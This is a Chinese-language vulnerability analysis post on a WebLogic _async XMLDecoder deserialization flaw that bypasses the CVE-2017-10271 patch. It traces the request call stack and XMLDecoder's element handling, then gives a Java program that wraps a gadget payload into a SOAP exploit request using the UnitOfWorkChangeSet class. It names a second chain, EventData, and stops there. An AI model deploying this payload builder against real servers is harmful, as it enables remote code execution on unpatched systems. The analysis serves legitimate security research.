这个洞在五一前就完成了分析,后面的时间就在寻找好用的利用链和绕最新的补丁方法。本来是想等着这波热度过去后,学一下其他人是否有更好的利用手法,结果发现大多数人用的还是rmi或者jdk7的gadget(稍有些遗憾)…
这篇主要是来记录一下分析过程中一些比较关键的点,以及把自己找的一些利用链分享一下。其实是想等自己绕过最新补丁后再写一写绕补丁的想法的,结果经过快一周的研究,没整出来…后面一篇会把截止到目前我的一些绕补丁的思路总结下来,前面这篇就算是做一个基础铺垫了。在分析和挖掘的过程中特别感谢orich1、Badcode、Bearcat老哥们的交流与帮助。
从漏洞描述中可以看出这个漏洞是 wls9_async_response
包的一个反序列化漏洞,并且走的是http协议,而从暂时的修补措施中可以推测是需要向 /_async/
路径发送一个http包:
这个洞比较有意思的一点在于利用而不是分析,所以我只是把调用栈列出来,并说说自己是怎么调这个漏洞的。
HttpServlet$service:269 BaseWSServlet$service:163 BaseWSServlet$run:316 SoapProcessor$process:28 SoapProcessor$handlePost:45 WsSkel$invoke:58 ServerDispatcher$dispatch:93 HandlerIterator$handleRequest:82 WorkAreaServerHandler$handleRequest:32 WorkContextMapImpl$receiveRequest:142 WorkContextLocalMap$receiveRequest:165 WorkContextEntryImpl$readEntry:72 WorkContextXmlInputAdapter$readUTF:104
至于怎么开远程调试之类的就不在这里赘述了,我说说在调的时候是怎么下断的,这个我觉得还是比较重要的。
刚拿到漏洞简述的时候以为是 wls9_async_response
这个包的问题,进去看了看发现并不是:
里面并没有什么解析过程,更像是处理响应包的过程。但是里面还是有一些让我留意的东西的:
可以看到这里绑定了作用域等信息,同时也绑定了soap的一些设置,既然这里并非漏洞的触发地,那漏洞是否可能是在处理请求时所触发的呢?所以我在 servlet
这边下了个断,跟了下请求的处理过程,接下来我说一下在调试过程中遇到的几个关键点,以及为什么我要这么跟。
请求的分派是在 weblogic.wsee.server.servlet.BaseWSServlet#run
中完成的:
这里会遍历一个请求处理器的数组,我们注意到这里会把不同的请求按照类型分派给不同的处理器进行处理,而所有的处理器中让我们比较感兴趣的的就是 SoapProcessor
,因为 SOAPXMl
可以进行简单的对象访问。
责任链的处理在 weblogic.wsee.ws.dispatch.server.ServerDispatcher
,这里使用轮询的方式将请求根据请求类型分派到不同的处理器中进行处理,具体的分派过程在 weblogic.wsee.handler.HandlerIterator
:
触发点在 weblogic.wsee.workarea.WorkAreaServerHandler#handleRequest
:
跟进 receiveRequest
,在 weblogic.workarea.WorkContextLocalMap#receiveRequest
中会对内容进行实体读取:
跟进 readEntry
:
可以看到最终会由 xmlDecoder.readObject
进行实例读取,而这里就存在 xmlDecoder
的反序列化问题,所以触发漏洞。
在实际debug的时候可能会出现这么一个问题:无论如何构造soap包,都无法断到 WorkAreaServerHandler
,每次在 OperationLookupHandler
这里就会返回null,导致程序无法走到后面的 WorkAreaServerHandler
。遇到这个问题其实可以跟一下 OperationLookupHandler
:
跟一下 this.getOperationName
的过程,你会发现:
在你声明 workContext
后,你需要在header或body中调用才行,如果未找到调用的话, QName
将会返回null。
之前网上放出的版本只是CVE-2017-10271的poc,然后被人炒了一波,其实仔细看过流程和补丁的人就能发现,新的这个漏洞是对于补丁的绕过:
而绕过点就需要继续向下跟代码。
在2.3中我们看到了 xmlDecoder.readObject
,从这里继续向下跟:
具体的跟进过程不细谈,想了解的看一去跟一跟(很长)我这里说一下xmldecoder的一些关键点:
简单来说处理过程如下:
startElement # 处理父标签 ElementHandler startElement # 处理一级子标签 ElementHandler ... endElement # 处理一级子标签的结束标签 ElementHandler.getValueObject endElement # 处理父标签的结束标签 ElementHandler.getValueObject
也就是说这其实可以理解为一个栈结构,后进先出。
这里的 ElementHandler
为以下的标签:
这里我们拿标签 object
来简单看一下:
可以看到首先在 startElement
中会执行 this.handler.addAttribute
,我们来跟进一下:
可以看到这里会检查标签的属性,并将其赋于不同的值(这里其实很关键,后面在尝试对最新补丁绕过的时候会用到,但是我还并没有绕过最新的补丁2333)在这里是实例化了我们class属性所指定的对象。在做完这些后会到 endElement
来处理结束标签(如果开始标签是):
可以看到这里在结束时会获取这个标签的值,而这个值是一个 ValueObject
对象。
而对于这次绕过的主角class标签来说,同样,我们直接来看他的 getValueObject
方法:
跟进他的 getValue
方法:
同样完成了对象的实例化,而这次指定对象的地方,就是class标签的内容。
理清了利用点后,那不妨来看看在构造的时候有哪些限制。
通过上文的叙述,应该不难发现,我们能用做的只是将一个实例化而已,而不能用method标签来调用类中的方法,所以这不得不逼迫我们去找到一个 构造方法中就存在反序列化的点 。
我找到这么几个比较好用的利用链,这里把利用方法和限制总结一下。
oracle.toplink.internal.sessions.UnitOfWorkChangeSet
或 oracle_common/modules/oracle.toplink_12.1.3/eclipselink.jar
简述:
由于需要自己构造一个 ByteArray
,所以这部分需要自己写点代码:
public static void main(String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream("上面提到的配合使用的gadget所生成的文件或地址"); BufferedInputStream in = new BufferedInputStream(fileInputStream); ByteArrayOutputStream out = new ByteArrayOutputStream(1024); System.out.println("Avaliable bytes:"+in.available()); String exp = "<soapenv:Envelope xmlns:soapenv=/"http://schemas.xmlsoap.org/soap/envelope//"/n" + " xmlns:wsa=/"http://www.w3.org/2005/08/addressing/"/n" + " xmlns:asy=/"http://www.bea.com/async/AsyncResponseService/">/n" + " <soapenv:Header>/n" + " <wsa:Action>demoAction</wsa:Action>/n" + " <wsa:RelatesTo>test</wsa:RelatesTo>/n" + " <work:WorkContext xmlns:work=/"http://bea.com/2004/06/soap/workarea//">/n" + " <java>/n" + " <class>/n" + " <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>/n" + " <void>/n" + " $code/n" + " </void>/n" + " </class>/n" + " </java>/n" + " </work:WorkContext>/n" + " </soapenv:Header>/n" + " <soapenv:Body>/n" + " <asy:onAsyncDelivery/>/n" + " </soapenv:Body>/n" + "</soapenv:Envelope>"; byte[] temp = new byte[1024]; int size = 0; while ((size = in.read(temp))!=-1) { out.write(temp, 0, size); } in.close(); byte[] content = out.toByteArray(); String poc = encodeByteToXml(content); System.out.println(exp.replace("$code", poc)); out.close(); } static String encodeByteToXml(byte[] data) { ProcessBuilder test = new ProcessBuilder(); StringBuilder sb = new StringBuilder(); String tmp = ""; String str = " <void index=/"$1/">/n" + " <byte>$2</byte>/n" + " </void>"; int i = 0; sb.append("<array class=/"byte/" length=/"$0/">".replace("$0",Integer.toString(data.length))+"/n"); for (byte b : data) { tmp = str.replace("$1", String.valueOf(i)).replace("$2",Integer.toString((int)b)); sb.append(tmp+"/n"); i = i + 1; } sb.append("</array>"); //System.out.println(sb.toString()); return sb.toString(); }
org.slf4j.ext.EventData